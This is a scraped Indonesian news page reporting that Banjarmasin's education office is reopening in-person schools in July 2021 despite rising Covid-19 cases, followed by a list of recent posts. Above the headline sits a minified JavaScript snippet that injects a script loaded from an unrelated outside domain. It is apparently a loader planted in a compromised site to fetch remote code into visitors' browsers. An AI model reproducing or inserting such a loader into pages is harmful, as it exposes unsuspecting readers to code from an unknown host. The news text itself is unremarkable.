(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Belajar Online Tak Efektif, Pemko Banjarmasin Pilih Tatap Muka di Sekolah


KANALKALIMANTAN, BANJARMASIN – Pemerintah Kota (Pemko) Banjarmasin mulai memberlakukan pembelajaran tatap muka (PTM) mulai Senin (12/7/2021).

Saat sekolah dibuka alias pembelajaran tatap muka digelar, kasus Covid-19 di Kota Banjarmasin dalam tren meningkat.

Kepala Dinas Pendidikan Kota Banjarmasin, Totok Agus Daryanto, mengatakan bahwa keputusan PTM (Pembelajaran Tatap Muka) tersebut diputuskan dengan melihat kondisi Kota Banjarmasin kekinian.

Baca juga: Satu Puskesmas Ditarget 100 Orang, Berikut Jadwal Vaksinasi Massal di Murjani

 

 

“Untuk saat ini posisi Kota Banjarmasin hari ini kan tidak zona merah. Jadi kita masih mempunyai opsi untuk melaksanakan PTM (Pembelajaran Tatap Muka),” ujarnya, Senin (12/7/2021).

Ia menyebutkan bahwa alasan akan tetap dilaksanakan PTM di Banjarmasin, menurut Totok adalah karena tidak adanya kepastian kapan pandemi Covid-19 ini akan berakhir.

“Apabila kita menunggu-nunggu terus, untuk selanjutnya tidak akan ada kepastian dan jaminan kapan Covid-19 akan berakhir,” terangnya.

Selain itu, menurut analisa Dinas Pendidikan Kota Banjarmasin, kedaruratan kurikulum juga menjadi salah satu alasan mengapa sekolah dengan tatap muka harus tetap dilaksanakan.

Baca juga: UPDATE. Covid-19 Kalsel Tambah 120 Orang, Tanah Laut Kasus Positif Terbanyak

“Setahu kami anak-anak kelas dua hari ini, belum tentu bisa membaca, menulis dan berhitung. Kenapa? Karena dalam satu tahun terakhir hanya dilakukan pembelajaran jarak jauh atau secara online,” ungkapnya.

“Pembelajaran jarak jauh ini kan tidak se efektif pembelajaran tatap muka. Kita tidak akan menunggu lagi,” tambahnya.
Pertimbangan tersebut menurutnya dilakukan asalkan Kota Banjarmasin tidak berada di zona merah, dan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM).

“Kalau zona merah dan Pemko menerapkan PPKM lagi, ya kita tunda lagi dan kita rem dulu sampai membaik lagi,” pungkasnya. (kanalkalimantan.com/shintia)

Reporter : shintia
Editor : bie


Al Ghifari

Recent Posts

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

2 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

3 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

4 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

5 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

5 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

9 jam ago

This website uses cookies.